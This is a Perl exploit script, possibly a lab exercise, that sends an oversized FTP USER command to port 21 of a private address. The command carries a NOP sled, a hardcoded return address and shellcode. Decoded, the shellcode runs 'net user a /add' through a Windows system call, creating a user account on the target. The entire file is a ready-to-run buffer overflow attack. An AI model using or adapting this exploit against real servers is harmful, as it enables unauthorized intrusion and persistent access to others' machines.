#use strict;
use Socket;
use feature 'say';
use IO::Socket qw(AF_INET AF_UNIX SOCK_STREAM SHUT_WR);

my $client = IO::Socket->new ( 
	Domain => AF_INET, # AF_INET, AF_UNIX
    Type => SOCK_STREAM, # SOCK_STREAM, SOCK_DGRAM, ...
    Proto => 'tcp', # 'tcp', 'udp', IPPROTO_TCP, IPPROTO_UDP
    PeerPort => 21,
    PeerHost => '10.202.47.97',
) || die "Can't open socket: $IO::Socket::errstr";
my $shellcode = v85.139.236.51.255.87.131.236.12.198.69.240.110.198.69.241.101.198.69.242.116.198.69.243.32.198.69.244.117.198.69.245.115.198.69.246.101.198.69.247.114.198.69.248.32.198.69.249.97.198.69.250.32.198.69.251.47.198.69.252.97.198.69.253.100.198.69.254.100.141.69.240.80.184.199.147.191.119.255.208;
my $data = "USER ";
my $pad = v144;
my $to_esp = v105.45.179.124;
$data = $data.($pad x 485).$to_esp.($pad x 12).$shellcode.($pad x 12)."\r\n";

say "Sending Data!";
my $size = $client->send($data);
say "Sent data of length: $size";
$client->shutdown(SHUT_WR);

my $buffer;
$client->recv($buffer, 1024);
say "Got back $buffer";

$client->close();